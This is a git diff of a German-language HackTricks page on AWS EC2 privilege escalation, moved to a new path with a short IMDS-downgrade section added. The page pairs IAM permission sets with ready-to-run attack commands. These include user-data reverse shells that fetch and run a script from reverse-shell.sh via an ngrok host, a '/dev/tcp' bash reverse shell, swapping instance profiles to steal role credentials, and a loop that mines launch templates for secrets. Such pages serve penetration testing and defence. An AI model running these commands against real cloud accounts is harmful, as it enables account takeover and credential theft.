+Du kannst dieses Tool verwenden, um den Angriff zu automatisieren: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oder du könntest eine der vorherigen Techniken nach Erstellung eines Snapshots verwenden.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
deleted file mode 100644
index a375d2922..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ /dev/null
@@ -1,261 +0,0 @@
-# AWS - EC2 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Für mehr **Informationen über EC2** siehe:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-Ein Angreifer könnte **eine Instanz erstellen, die eine IAM-Rolle anfügt, und dann auf die Instanz zugreifen**, um die IAM-Rollenanmeldeinformationen vom Metadaten-Endpunkt zu stehlen.
-
-- **Zugriff über SSH**
-
-Führen Sie eine neue Instanz mit einem **erstellten** **SSH-Schlüssel** (`--key-name`) aus und sshen Sie sich dann ein (wenn Sie einen neuen erstellen möchten, benötigen Sie möglicherweise die Berechtigung `ec2:CreateKeyPair`).
-```bash
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
---security-group-ids <sg-id>
-```
-- **Zugriff über rev shell in Benutzerdaten**
-
-Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Sie müssen auf diese Weise keine Sicherheitsgruppe angeben.
-```bash
-echo '#!/bin/bash
-curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
-
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> \
---count 1 \
---user-data "file:///tmp/rev.sh"
-```
-Sei vorsichtig mit GuardDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
-{{#endref}}
-
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer beliebigen EC2-Rolle, die an vorhandene Instanzprofile angehängt ist.
-
-#### Privilegieneskalation zu ECS
-
-Mit diesem Berechtigungsset könntest du auch **eine EC2-Instanz erstellen und sie in einem ECS-Cluster registrieren**. Auf diese Weise werden **ECS-Dienste** in der **EC2-Instanz** ausgeführt, auf die du Zugriff hast, und dann kannst du in diese Dienste (Docker-Container) eindringen und **ihre angehängten ECS-Rollen stehlen**.
-```bash
-aws ec2 run-instances \
---image-id ami-07fde2ae86109a2af \
---instance-type t2.micro \
---iam-instance-profile <ECS_role> \
---count 1 --key-name pwned \
---user-data "file:///tmp/asd.sh"
-
-# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
-# The EC2 instance profile needs basic ECS access
-# The content of the user data is:
-#!/bin/bash
-echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
-```
-Um zu lernen, wie man **ECS-Dienste in dieser neuen EC2-Instanz ausführt**, siehe:
-
-{{#ref}}
-aws-ecs-privesc.md
-{{#endref}}
-
-Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie in der Lage sein, die Instanz im Cluster zu registrieren und den kommentierten Angriff durchzuführen.
-
-**Potenzielle Auswirkungen:** Direkter Privilegienausbau zu ECS-Rollen, die an Aufgaben angehängt sind.
-
-### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-
-Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen **die IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen zu stehlen.\
-Da ein Instanzprofil nur 1 Rolle haben kann, müssen Sie, wenn das Instanzprofil **bereits eine Rolle hat** (häufiger Fall), auch **`iam:RemoveRoleFromInstanceProfile`** benötigen.
-```bash
-# Removing role from instance profile
-aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
-
-# Add role to instance profile
-aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
-```
-Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz **verknüpfen:**
-
-- Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`)
-```bash
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
-
-### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-
-Mit diesen Berechtigungen ist es möglich, das Instanzprofil, das mit einer Instanz verbunden ist, zu ändern. Wenn der Angriff bereits Zugriff auf eine Instanz hatte, kann er Anmeldeinformationen für weitere Instanzprofilrollen stehlen, indem er das damit verbundene ändert.
-
-- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren**.
-```bash
-aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
-aws ec2 disassociate-iam-instance-profile --association-id <value>
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-- oder **ersetzen** Sie das **Instanzprofil** der kompromittierten Instanz (`ec2:ReplaceIamInstanceProfileAssociation`).
-```bash
-aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
-
-### `ec2:RequestSpotInstances`,`iam:PassRole`
-
-Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`und`iam:PassRole`** kann eine **Spot-Instanz** mit einer **angehängten EC2-Rolle** und einer **rev shell** in den **Benutzerdaten** **anfordern**.\
-Sobald die Instanz ausgeführt wird, kann er die **IAM-Rolle stehlen**.
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 request-spot-instances \
---instance-count 1 \
---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
-```
-### `ec2:ModifyInstanceAttribute`
-
-Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanzen ändern. Unter ihnen kann er **die Benutzerdaten ändern**, was bedeutet, dass er die Instanz **beliebige Daten ausführen** lassen kann. Dies kann verwendet werden, um eine **Rev Shell zur EC2-Instanz** zu erhalten.
-
-Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`**.
-```bash
-TEXT='Content-Type: multipart/mixed; boundary="//"
-MIME-Version: 1.0
-
---//
-Content-Type: text/cloud-config; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="cloud-config.txt"
-
-#cloud-config
-cloud_final_modules:
-- [scripts-user, always]
-
---//
-Content-Type: text/x-shellscript; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="userdata.txt"
-
-#!/bin/bash
-bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
---//'
-TEXT_PATH="/tmp/text.b64.txt"
-
-printf $TEXT | base64 > "$TEXT_PATH"
-
-aws ec2 stop-instances --instance-ids $INSTANCE_ID
-
-aws ec2 modify-instance-attribute \
---instance-id="$INSTANCE_ID" \
---attribute userData \
---value file://$TEXT_PATH
-
-aws ec2 start-instances --instance-ids $INSTANCE_ID
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder EC2 IAM-Rolle, die an einer erstellten Instanz angehängt ist.
-
-### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-
-Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen.
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 create-launch-template-version \
---launch-template-name bad_template \
---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
-
-aws ec2 modify-launch-template \
---launch-template-name bad_template \
---default-version 2
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle.
-
-### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-
-Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
-```bash
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
---launch-configuration-name bad_config \
---image-id ami-0c1bc246476a5572b \
---instance-type t3.micro \
---iam-instance-profile EC2-CloudWatch-Agent-Role \
---user-data "$REV"
-
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
---auto-scaling-group-name bad_auto \
---min-size 1 --max-size 1 \
---launch-configuration-name bad_config \
---desired-capacity 1 \
---vpc-zone-identifier "subnet-e282f9b8"
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle.
-
-### `!autoscaling`
-
-Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
-
-### `ec2-instance-connect:SendSSHPublicKey`
-
-Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einen SSH-Schlüssel zu einem Benutzer hinzufügen und ihn verwenden, um darauf zuzugreifen (wenn er SSH-Zugriff auf die Instanz hat) oder um Privilegien zu eskalieren.
-```bash
-aws ec2-instance-connect send-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---instance-os-user "ec2-user" \
---ssh-public-key "file://$PUBK_PATH"
-```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen angehängt sind.
-
-### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-
-Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen SSH-Schlüssel zu einer seriellen Verbindung hinzufügen**. Wenn die serielle Verbindung nicht aktiviert ist, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`, um sie zu aktivieren**.
-
-Um sich mit dem seriellen Port zu verbinden, **müssen Sie auch den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen.
-```bash
-aws ec2 enable-serial-console-access
-
-aws ec2-instance-connect send-serial-console-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---serial-port 0 \
---region "eu-west-1" \
---ssh-public-key "file://$PUBK_PATH"
-
-ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
-```
-Dieser Weg ist nicht besonders nützlich für privesc, da man einen Benutzernamen und ein Passwort kennen muss, um ihn auszunutzen.
-
-**Potenzielle Auswirkungen:** (Hochgradig unbewiesen) Direkter privesc zu den EC2 IAM-Rollen, die an laufende Instanzen angehängt sind.
-
-### `describe-launch-templates`,`describe-launch-template-versions`
-
-Da Launch-Templates versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Templates:
-```bash
-for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
-do
-echo "[*] Analyzing $i"
-aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
-do
-echo "VersionNumber: $version"
-echo "$userdata" | base64 -d
-echo
-done | grep -iE "aws_|password|token|api"
-done
-```
-In den obigen Befehlen, obwohl wir bestimmte Muster (`aws_|password|token|api`) angeben, können Sie einen anderen Regex verwenden, um nach anderen Arten von sensiblen Informationen zu suchen.
-
-Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren.
-
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu IAM-Benutzer(n).
-
-## Referenzen
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
new file mode 100644
index 000000000..dee6aae11
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -0,0 +1,300 @@
+# AWS - EC2 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Für mehr **Info über EC2** siehe:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+Ein Angreifer könnte **eine Instanz erstellen, eine IAM role anhängen und dann auf die Instanz zugreifen** um die IAM role credentials vom metadata endpoint zu stehlen.
+
+- **Zugriff über SSH**
+
+Starte eine neue Instanz unter Verwendung eines **erstellten** **ssh key** (`--key-name`) und verbinde dich dann per ssh darauf (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
+```bash
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
+--security-group-ids <sg-id>
+```
+- **Zugriff über rev shell in user data**
+
+Du kannst eine neue instance mit **user data** (`--user-data`) starten, die dir eine **rev shell** schickt. Du musst auf diese Weise keine security group angeben.
+```bash
+echo '#!/bin/bash
+curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
+
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> \
+--count 1 \
+--user-data "file:///tmp/rev.sh"
+```
+Sei vorsichtig mit GuradDuty, wenn du die credentials der IAM role außerhalb der instance verwendest:
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+{{#endref}}
+
+**Potential Impact:** Direkter privesc zu jeder EC2 role, die an bestehende instance profiles angehängt ist.
+
+#### Privesc zu ECS
+
+Mit diesem Berechtigungsset könntest du außerdem **eine EC2 instance erstellen und sie in einem ECS cluster registrieren**. Auf diese Weise werden ECS **services** innerhalb der **EC2 instance**, auf die du Zugriff hast, **ausgeführt**, und du kannst diese services (docker containers) kompromittieren und **steal their ECS roles attached**.
+```bash
+aws ec2 run-instances \
+--image-id ami-07fde2ae86109a2af \
+--instance-type t2.micro \
+--iam-instance-profile <ECS_role> \
+--count 1 --key-name pwned \
+--user-data "file:///tmp/asd.sh"
+
+# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
+# The EC2 instance profile needs basic ECS access
+# The content of the user data is:
+#!/bin/bash
+echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
+```
+Um zu erfahren, wie man **ECS services dazu zwingt, auf dieser neuen EC2-Instanz ausgeführt zu werden**, siehe:
+
+{{#ref}}
+../aws-ecs-privesc/README.md
+{{#endref}}
+
+Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, können Sie möglicherweise die Instanz im Cluster registrieren und den beschriebenen Angriff durchführen.
+
+**Mögliche Auswirkung:** Direkte privesc zu ECS-Rollen, die Tasks zugewiesen sind.
+
+### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
+
+Ähnlich zum vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die **IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen zu stehlen.\
+Da ein Instance Profile nur 1 Rolle haben kann, wenn das Instance Profile **bereits eine Rolle hat** (häufiger Fall), benötigen Sie außerdem **`iam:RemoveRoleFromInstanceProfile`**.
+```bash
+# Removing role from instance profile
+aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
+
+# Add role to instance profile
+aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
+```
+Wenn das **instance profile eine role hat** und der Angreifer es **nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte ein **instance profile ohne role finden** oder ein **neues erstellen** (`iam:CreateInstanceProfile`), die **role** zu diesem **instance profile hinzufügen** (wie zuvor besprochen) und das **instance profile mit der kompromittierten instance assoziieren:** 
+
+- Falls die **instance kein instance profile** hat (`ec2:AssociateIamInstanceProfile`)
+```bash
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+**Potential Impact:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile-Status besitzen).
+
+### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
+
+Mit diesen Berechtigungen ist es möglich, das einer Instanz zugeordnete instance profile zu ändern, sodass ein Angreifer, der bereits Zugriff auf eine Instanz hat, Anmeldeinformationen für weitere instance profile-Rollen stehlen kann, indem er das zugeordnete instance profile austauscht.
+
+- Wenn sie **ein instance profile hat**, kannst du das instance profile **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **erneut zuweisen**.
+```bash
+aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
+aws ec2 disassociate-iam-instance-profile --association-id <value>
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+- oder **ersetzen** das **instance profile** der compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`).
+```bash
+aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
+```
+**Potentielle Auswirkung:** Direkter privesc auf eine andere EC2 role (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile status besitzen).
+
+### `ec2:RequestSpotInstances`,`iam:PassRole`
+
+Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances` und `iam:PassRole`** kann eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** im **user data** anfordern.\
+Sobald die Instance gestartet ist, kann er die **IAM role** stehlen.
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 request-spot-instances \
+--instance-count 1 \
+--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
+```
+### `ec2:ModifyInstanceAttribute`
+
+Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute einer Instanz ändern. Unter anderem kann er die **user data ändern**, was bedeutet, dass er die Instanz dazu bringen kann, **beliebige Daten auszuführen.** Das kann genutzt werden, um eine **rev shell auf die EC2-Instanz** zu erhalten.
+
+Beachte, dass die Attribute nur **modifiziert werden können, während die Instanz gestoppt ist**, daher werden die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
+```bash
+TEXT='Content-Type: multipart/mixed; boundary="//"
+MIME-Version: 1.0
+
+--//
+Content-Type: text/cloud-config; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="cloud-config.txt"
+
+#cloud-config
+cloud_final_modules:
+- [scripts-user, always]
+
+--//
+Content-Type: text/x-shellscript; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="userdata.txt"
+
+#!/bin/bash
+bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
+--//'
+TEXT_PATH="/tmp/text.b64.txt"
+
+printf $TEXT | base64 > "$TEXT_PATH"
+
+aws ec2 stop-instances --instance-ids $INSTANCE_ID
+
+aws ec2 modify-instance-attribute \
+--instance-id="$INSTANCE_ID" \
+--attribute userData \
+--value file://$TEXT_PATH
+
+aws ec2 start-instances --instance-ids $INSTANCE_ID
+```
+**Mögliche Auswirkung:** Direkter privesc auf jede EC2 IAM Role, die an eine erstellte Instanz angehängt ist.
+
+### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
+
+Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen mit einer **rev shell in** den **user data** und **any EC2 IAM Role on it**, die Standardversion ändern, und **any Autoscaler group** **using** that **Launch Templat**e, die **configured** ist, die **latest** oder die **default version** zu verwenden, wird die Instanzen unter Verwendung dieses Templates **re-run the instances** und die rev shell ausführen.
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 create-launch-template-version \
+--launch-template-name bad_template \
+--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
+
+aws ec2 modify-launch-template \
+--launch-template-name bad_template \
+--default-version 2
+```
+**Mögliche Auswirkung:** Direkter privesc zu einer anderen EC2 role.
+
+### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
+
+Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration erstellen** mit einer **IAM Role** und einer **rev shell** in den **user data**, dann **eine autoscaling group** aus dieser Konfiguration erstellen und auf die **rev shell** warten, damit sie die **IAM Role** stiehlt.
+```bash
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
+--launch-configuration-name bad_config \
+--image-id ami-0c1bc246476a5572b \
+--instance-type t3.micro \
+--iam-instance-profile EC2-CloudWatch-Agent-Role \
+--user-data "$REV"
+
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
+--auto-scaling-group-name bad_auto \
+--min-size 1 --max-size 1 \
+--launch-configuration-name bad_config \
+--desired-capacity 1 \
+--vpc-zone-identifier "subnet-e282f9b8"
+```
+**Potential Impact:** Direkter privesc zu einer anderen EC2-Rolle.
+
+### `!autoscaling`
+
+Die Kombination der Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reicht nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, denn um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, **benötigt man die Berechtigungen `iam:PassRole` und `ec2:RunInstances`** (was ein bekannter privesc ist).
+
+### `ec2-instance-connect:SendSSHPublicKey`
+
+Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh-Schlüssel hinzufügen und diesen nutzen, um auf ihn zuzugreifen (wenn er ssh-Zugriff auf die Instanz hat) oder um Privilegien zu eskalieren.
+```bash
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "ec2-user" \
+--ssh-public-key "file://$PUBK_PATH"
+```
+**Potential Impact:** Direkter privesc zu den an laufenden Instanzen angehängten EC2 IAM roles.
+
+### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
+
+Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh key zu einer seriellen Verbindung hinzufügen**. Ist die serielle Konsole nicht aktiviert, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
+
+Um sich mit dem seriellen Port zu verbinden, muss man außerdem **den Benutzernamen und das Passwort eines Benutzers** auf der Maschine kennen.
+```bash
+aws ec2 enable-serial-console-access
+
+aws ec2-instance-connect send-serial-console-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--serial-port 0 \
+--region "eu-west-1" \
+--ssh-public-key "file://$PUBK_PATH"
+
+ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
+```
+Auf diese Weise ist es für privesc nicht so nützlich, da man einen Benutzernamen und ein Passwort kennen muss, um es auszunutzen.
+
+**Mögliche Auswirkung:** (Sehr schwer nachweisbar) Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.
+
+### `describe-launch-templates`,`describe-launch-template-versions`
+
+Da launch templates Versionierung unterstützen, könnte ein Angreifer mit den Rechten **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu entdecken, wie z. B. Zugangsdaten, die in user data vorhanden sind. Dazu durchläuft folgendes Script alle Versionen der verfügbaren launch templates:
+```bash
+for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
+do
+echo "[*] Analyzing $i"
+aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
+do
+echo "VersionNumber: $version"
+echo "$userdata" | base64 -d
+echo
+done | grep -iE "aws_|password|token|api"
+done
+```
+In den obigen Befehlen, obwohl wir bestimmte Muster angeben (`aws_|password|token|api`), kannst du einen anderen regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
+
+Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Zugangsdaten verwenden, um uns bei AWS zu authentifizieren.
+
+**Potentielle Auswirkung:** Direkte Privilegieneskalation auf IAM-Benutzer.
+
+## Quellen
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
+
+Ein Angreifer, der die Möglichkeit hat, `ec2:ModifyInstanceMetadataOptions` auf einer Opfer-EC2-Instanz aufzurufen, kann die IMDS-Schutzmaßnahmen abschwächen, indem er IMDSv1 aktiviert (`HttpTokens=optional`) und den `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über übliche SSRF/Proxy-Pfade von auf der Instanz laufenden Anwendungen aus erreichbar. Wenn der Angreifer in einer solchen Anwendung eine SSRF auslösen kann, kann er die Instance-Profile-Anmeldeinformationen abrufen und sich damit seitlich bewegen.
+
